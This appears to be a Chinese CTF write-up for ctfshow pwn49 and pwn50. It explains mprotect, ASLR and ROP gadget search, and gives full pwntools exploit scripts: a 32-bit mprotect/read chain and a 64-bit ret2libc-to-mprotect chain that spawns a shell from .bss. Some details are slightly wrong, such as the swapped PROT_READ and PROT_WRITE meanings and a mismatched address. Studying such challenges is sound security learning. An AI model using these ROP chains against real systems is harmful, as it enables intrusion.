Siriusuuu
Siriusuuu
发布于 2026-11-19 / 1 阅读
0
0

pwn49、50/mprotect

题目提示:静态编译?或许你可以找找mprotect函数

32位

开启NX,不可执行

main:

与上一题不同,这里没有给可泄露地址的函数(比如write,put这些打印地址函数)

但给了read函数

file pwn49

输出:pwn49: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped

是静态编译的,32位程序,仅关闭PIE

额。。我的checksec版本太低了,识别到stack_chk_fail_local就认为开启栈保护了

实际上并没有开启。。。

值得注意的是左边的函数非常的多,从这我们也能看出来是静态编译

查看mprotect函数:

mprotect作用:在程序运行时,动态修改某段内存的访问权限(读、写、执行)。然后我们就可以往栈上写入shellcode,执行获取shell

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数

类型

含义

addr

void *

要修改权限的内存区域的 起始地址

len

size_t

要修改权限的内存区域的 长度 (字节数)

prot

int

新的 保护权限 (可读、可写、可执行的组合)

mprotect()函数把自addr开始的、长度为len的内存区的保护属性修改为prot指定的值。

返回值:

成功返回 0

失败返回 -1,并设置 errno

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写; 0x1

2)PROT_WRITE:表示内存段内的内容可读; 0x2

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。 0x0

5) prot=7 是可读可写可执行

常见组合:

PROT_READ | PROT_WRITE // 可读可写 (rw-),比如 .data 段、堆、栈

PROT_READ | PROT_EXEC // 可读可执行 (r-x),比如 .text 代码段

PROT_READ | PROT_WRITE | PROT_EXEC // 可读可写可执行 (rwx),PWN 中最想要的!

核心限制:必须页对齐:

指定的内存区间必须包含整个内存页(4K)。区间开始的地址addr必须是一个内存页的起始地址(addr 必须是页大小(Page Size)的整数倍),并且区间长度len必须是页大小的整数倍。

因为程序本身也是静态编译,所以mprotect地址是不会变的:


ASLR:

内存区域

包含内容

ASLR 是否随机化

触发条件

栈 (Stack)

局部变量、返回地址

✅ 始终随机化

只要系统开启了 ASLR

堆 (Heap)

malloc 分配的内存

✅ 始终随机化

只要系统开启了 ASLR

mmap 区域

动态库 (libc.so)

✅ 始终随机化

动态链接时存在

代码段 (.text) / 数据段

程序自身的指令和全局变量

⚠️ 看情况

取决于是否开启 PIE

链接方式

PIE 状态

栈/堆地址

程序自身函数地址 (如 main, vuln)

libc 函数地址 (如 system, puts)

动态链接

No PIE

🎲 随机

🔒 固定

🎲 随机 (因为 libc.so 被随机加载)

动态链接

PIE

🎲 随机

🎲 随机

🎲 随机

静态链接

No PIE

🎲 随机

🔒 固定

🔒 固定 (因为 libc 缝进代码段了,跟着代码段走)

静态链接

PIE

🎲 随机

🎲 随机

🎲 随机 (libc 缝进来了,整体一起被 ASLR 随机化)


首先造成溢出,让程序跳转到mprotect函数地址:

payload = cyclic(0x12+4) + p32(mprotect)

在IDA里ctrl+s调出程序的段表:

将0x80DA000地址开始修改为可读可写可执行

为什么修改的是.got.plt地址:

根本原因:内存页对齐

mprotect只能按整个内存页(4KB)为单位修改权限

传入的addr必须是页对齐的(即地址必须是4096的倍数)

len必须是页大小的整数倍

mprotect失败的最常见原因就是地址不对齐

必须从0x...000这样的地址开始

0x80DA000 % 0x1000 = 0 √ 页对齐

为什么选择.got.plt的地址:

在漏洞利用中,选择.got.plt有几个优势:

优势:
  • 代码复用:.got.plt中已经存储了mprotect等系统函数的地址

  • 控制流劫持:修改.got.plt可以劫持后续的函数调用

  • 位置确定:.got.plt的地址在编译时相对固定

级别

编译参数

.got.plt 的状态

能否写入 Shellcode?

No RELRO

无

可读写 (rw-)

✅ 可以

Partial RELRO

默认

可读写 (rw-)

✅ 可以

Full RELRO

-z relro -z now

只读 (r--)

❌ 绝对不行,写了就段错误

使用ROPgadget找到我们需要的ret指令,我们mprotect函数需要设置3个参数,这边就找到3个寄

存器就行。(作为返回地址!)


ROPgadget语法:

核心命令是 ROPgadget --binary <文件名>,配合 --only(精确过滤)、--grep(正则/字符串搜索)或管道符 | grep 来筛选特定的汇编指令。

方法一:使用 --only 参数

1.只找ret: ROPgadget --binary ./vuln --only "ret"

2.找 pop ... ; ret: ROPgadget --binary ./vuln --only "pop|ret"

输出示例:

0x08049022 : pop ebx ; ret

0x08049155 : pop ecx ; pop ebx ; ret

0x080492aa : pop ebp ; pop edi ; pop esi ; pop ebx ; ret

3.找特定寄存器的 pop ; ret: ROPgadget --binary ./vuln --only "pop|ret" | grep "eax"

想找 pop eax ; ret,可以结合管道符 grep

方法二:使用 --grep 参数(字符串匹配)

# 找包含 "pop rdi" 的 gadget

ROPgadget --binary ./vuln --grep "pop rdi"

# 找包含 "syscall" 的 gadget

ROPgadget --binary ./vuln --grep "syscall"

方法三:使用 Linux 管道符 | grep(最灵活)

# 找 pop rdi ; ret

ROPgadget --binary ./vuln | grep "pop rdi ; ret"

# 找所有的 ret

ROPgadget --binary ./vuln | grep ": ret$"

//注:$ 表示行尾,防止匹配到 retf 或其他带 ret 前缀的指令


回到本题:

寻找放置参数的寄存器

输入指令: ROPgadget --binary ./pwn49 --only "pop|ret" | grep pop

//先从程序中筛选出「只由 pop 和 ret 指令组成」的 ROP 片段,然后再从中挑出「至少包含一个 pop 指令」的片段。本质上,它是为了精准寻找用于控制寄存器的标准 Gadget(如 pop rdi ; ret),同时排除掉单独的 ret 。

然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,

需要继续控制程序

payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)

这句话讲权限改为RWX;用寄存器传参时,相当于64位,先参数后函数

payload += p32(read_addr) 32位栈传参,先函数后参数

read函数原型:

ssize_t read(int fd, void *buf, size_t count);

fd 设为0时就可以从输入端读取内容 设为0

buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000

size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓

可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令(作为返回地址)

payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) +p32(M_addr)

到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,

接下来我们只要传入shellcode即可

shellcode = asm(shellcraft.sh())

//pwntools:shellcraft.sh() 负责用 Python 生成一段调用 /bin/sh 的汇编代码文本,asm() 负责把这段汇编文本翻译成 CPU 能看懂的机器码(字节流)。

io.sendline(shellcode)

exp:

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28185)

elf = ELF('./pwn')

mprotect = elf.sym['mprotect']

或者:

使用:objdump -d -t .plt pwn | grep mprotect ,查找mprotect地址为:0x0806cdd0

read_addr = elf.sym['read']

pop_ebx_esi_ebp_ret = 0x80a019b #0x080a019b : pop ebx ; pop esi ; pop ebp ;ret

M_addr = 0x80DA000

M_size = 0x1000

M_proc = 0x7 //权限

payload = cyclic(0x12+4) + p32(mprotect)

payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) +p32(M_proc)

payload += p32(read_addr)

payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) +p32(M_addr)

//read参数传完后,跳到M_addr位置发送shellcode

io.sendline(payload)

shellcode = asm(shellcraft.sh())

io.sendline(shellcode)

io.recv()

io.interactive()

50

已知:远程libc环境 Ubuntu 18

64位

这里给了puts函数,可以使用ret2libc来完成这题,甚至会更简单

但这里加深一下对mprotect的理解:

1. 泄漏内存地址,通过计算得到libc地址(libc基址动态改变)

以下都是虚拟地址

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28127)

elf = ELF('./pwn')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

使用 pwntools 库中的 ELF 类,加载了你本地 Linux 系统上的 C 标准库文件(libc),并将其解析为一个对象赋值给变量 libc。

这里已知了libc的版本,打远程靶机时,这里必须加载远端服务器使用的 libc,而不是本地的!

pop_rdi_ret = 0x00000000004007e3 # 0x00000000004007e3 : pop rdi ; ret

ctfshow = elf.sym['ctfshow']

//elf.sym['xxx']:通过符号表获取函数/变量的静态地址。因为NO PIE

bss_start_addr = 0x602000

main = elf.sym['main']

shellcode_addr = 0x603000 - 0x100 在bss尾部,使得shellcode写到bss内部

定义了 BSS 段和一段准备用来放 shellcode 的地址

bss地址要满足页对齐:x86_64 架构下,一个标准内存页的大小是 0x1000(即 4096 字节 = 4KB) 。当操作系统把 ELF 文件加载到内存时, 每个段的起始地址必须是页大小(0x1000)的整数倍

gdb ./pwn50

b main //下断点

输出

运行 r

vmmap

没有x权限

或用IDA看:

为什么一定是.bss:

1. 根本原因:NX (DEP) 保护机制

现代操作系统默认开启了 NX(No-eXecute)保护。

栈 (Stack) :权限是 rw-(可读写,不可执行)

堆 (Heap) :权限是 rw-(可读写,不可执行)

BSS / DATA :权限是 rw-(可读写,不可执行)

也就是说, 不管你把 shellcode 写到哪里,默认情况下都不能直接执行 。你必须调用 mprotect 修改某块内存的权限为 rwx。

既然大家都需要改权限,那选谁呢?这就引出了 BSS 的巨大优势。

2. 优势一:BSS 的地址是“固定且已知”的

如果这道题 没有开启 PIE (位置无关可执行文件),那么 ELF 加载到内存后,各段的基址是写死的:

TEXT/DATA/BSS 的地址是绝对固定的 (比如永远是 0x602050)。

但是!栈 (Stack) 和 堆 (Heap) 的地址是随机的! (因为 ASLR 机制)。

对比一下:

如果写栈上 :你每次运行程序,栈的地址都在变。你必须先泄露一个栈地址,算出偏移,才能知道 shellcode 到底写在了哪,ROP 链才能跳过去。这非常麻烦。

如果写 BSS 上 :你连泄露都不用做!直接在脚本里硬编码 shellcode_addr = 0x602050 + 0x100。无论程序跑多少次,这个地址永远有效。

结论:BSS 提供了一个稳定的、无需泄露就能确定的“靶子”。

3. 优势二:mprotect 必须“页对齐”,改 BSS 最安全

mprotect(addr, len, prot) 的第一个参数 addr 必须是 0x1000(一页)的整数倍 。

如果你想改栈的权限 :你需要算出当前栈指针 rsp 所在的页起始地址(比如 0x7fffffffe000),然后对这个地址调用 mprotect。但这很容易破坏栈上的返回地址或其他关键数据,导致程序崩溃。

如果你想改 BSS 的权限 :BSS 通常单独占据一个或几个完整的内存页(如 0x602000 ~ 0x603000)。你对 0x602000 调用 mprotect,只会影响这一个干净的页, 不会误伤代码段(.text)或只读段(.rodata) 。

4. 优势三:BSS 是一块“干净的空地”

栈 (Stack) :上面密密麻麻存着局部变量、函数返回地址、寄存器保存值。你往栈里写 shellcode,极容易覆盖掉程序正常运行需要的数据,导致还没跳到 shellcode 程序就崩了。

堆 (Heap) :需要先用 malloc 分配,且堆块结构复杂(chunk header 等),管理起来很麻烦。

BSS (未初始化数据段) :顾名思义,它里面全是 \x00。只要避开程序本身用到的全局变量(往后稍微偏移一点,比如 + 0x100),它就是一块 巨大的、平坦的、干净的白板 ,随便你用 gets() 往上画什么(写多长的 shellcode 都行)。

print hex(ctfshow)

print hex(bss_start_addr)

######### step1 : leak_libc

payload = cyclic(40)

有别于32位的GOT表泄露:

payload+= p64(pop_rdi_ret)

payload+= p64(elf.got['puts']) //puts函数的参数,即puts自身的真实地址

payload+= p64(elf.plt['puts']) //相当于调用puts函数

payload+= p64(ctfshow) 返回地址,返回到ctfshow这个函数

puts 执行完毕后,EIP 跳到 ctfshow,让程序重新回到可控流程(而不是崩溃退出),以便进行 Step 2 的攻击。

io.recvuntil("Hello CTFshow")

io.sendline(payload)

io.recvline()

leak_addr = u64((io.recvline().split("\x0a")[0]).ljust(8,'\x00'))

步骤

代码片段

含义

1

io.recvline()

接收程序泄露出来的一行数据(里面包含了 puts 的真实地址)。

2

.split("\x0a")[0]

\x0a 是换行符。按换行符切割,取第一部分,剔除多余的换行。

3

.ljust(8, '\x00')

关键防报错操作! u64 强制要求输入必须是 8 字节。如果泄露的地址高位是 0(比如 \x7f\x12\x34\x56\x78 只有 5-6 字节),直接 u64 会报错。用 \x00 向右补齐到 8 字节。

4

u64(...)

将这 8 个字节的字符串解包成一个 64 位的整数(内存地址)。

5

leak_addr = ...

赋值给变量。现在 leak_addr 就是远端服务器上 puts 函数的真实运行地址。

libc.address = leak_addr - libc.sym['puts']

ASLR绕过:

真实地址 - 静态偏移 = 动态加载的基址

libc.address = ... 这一句一旦执行,pwntools 会自动把该 libc 对象中所有的符号(如 system, "/bin/sh")全部加上这个基址,变成真实的内存地址!

在 pwntools 中,libc.address 是一个 可读可写的属性 ,它代表了当前 ELF 对象的 基址(Base Address)

① 默认状态(未赋值前)

当你刚执行 libc = ELF('...') 时,pwntools 认为这个文件还没被加载到内存,所以默认:

print(hex(libc.address)) # 输出: 0x0

此时,你调用 libc.sym['puts'],得到的就是纯粹的静态偏移量(比如 0x809c0)。

② 赋值状态

当你通过漏洞计算出了真实的 Libc 基址,并将其赋值给 libc.address 时:

libc.address = leak_addr - libc.sym['puts'] # 假设算出来基址是 0x7f1111000000

pwntools 会自动将 libc.address 的值作为偏移,加到该对象内所有的符号地址上!

也就是说,一旦你设置了 libc.address,pwntools 内部的所有查询逻辑就变成了:

查询结果 = libc.address + 原始静态偏移量

success("libc_base = 0x%x",libc.address)

用绿色高亮在终端打印出计算得到的 libc 基址,确认泄露成功。

io.interacive()

main = elf.sym['main']表示main的绝对虚拟地址

libc.sym['puts']表示puts的静态偏移量

为什么??----受到PIE的影响

特性

主程序 (elf = ELF('./pwn'))

C标准库 (libc = ELF('...libc.so.6'))

文件类型

可执行文件 (Executable)

共享对象 (Shared Object, .so)

编译要求

通常不需要到处移动,可以写死地址

必须能被任何程序加载到任何内存位置

默认基址

64位固定为 0x400000

没有固定基址,运行时由 OS 随机分配

ASLR影响

未开 PIE 时不受影响 ,地址永远不变

永远受影响,每次运行基址都变

obj.address

默认就是 0x400000

默认是 0x0

obj.sym['xx']

直接就是真实内存地址

只是静态偏移量

如果开启了 PIE,主程序的行为就和 Libc 一模一样了,每次运行基址都会随机化。

elf.sym['main'] 就 不再是真实地址 了!你必须像打 Libc 一样,先通过漏洞泄露出主程序的某个地址,算出 elf.address,然后再利用它。

2. 通过mprotect函数来修改一段区域的权限

######### step2 : mprotect_bss_to_rwx

# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"

pop_rsi_ret = libc.address + 0x0000000000023a6a

# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"

pop_rdx_ret = libc.address + 0x0000000000001b96

payload = cyclic(40)

payload+= p64(pop_rdi_ret)-----1

payload+= p64(bss_start_addr)

payload+= p64(pop_rsi_ret)-----2

payload+= p64(0x1000)

payload+= p64(pop_rdx_ret)-----3

payload+= p64(0x7)

payload+= p64(libc.sym['mprotect'])-----此时是mprotect真实地址

payload+= p64(main)-----返回地址

io.recvuntil("Hello CTFshow")

#gdb.attach(io)

io.sendline(payload)

gdb.attach(io)

//作用 :打开一个新的终端窗口,启动 GDB 并 attach(附加)到 io 所代表的进程上,让脚本暂停执行,等待你在 GDB 中进行交互调试。

io.interactive()

3. 向这段区域写入shellcode

######### step3 : gets_shellcode_to_bss

payload = cyclic(40)

payload+= p64(pop_rdi_ret)

payload+= p64(shellcode_addr)

payload+= p64(libc.sym['gets'])

payload+= p64(main)

io.recvuntil("Hello CTFshow")

io.sendline(payload)

io.sendline(asm(shellcraft.sh()))

io.interactive()

4. 跳转到写入shellcode的区域

######### step4 : ret2bss

payload = cyclic(40)

payload+= p64(shellcode_addr)

io.recvuntil("Hello CTFshow")

io.sendline(payload)

io.interactive()


评论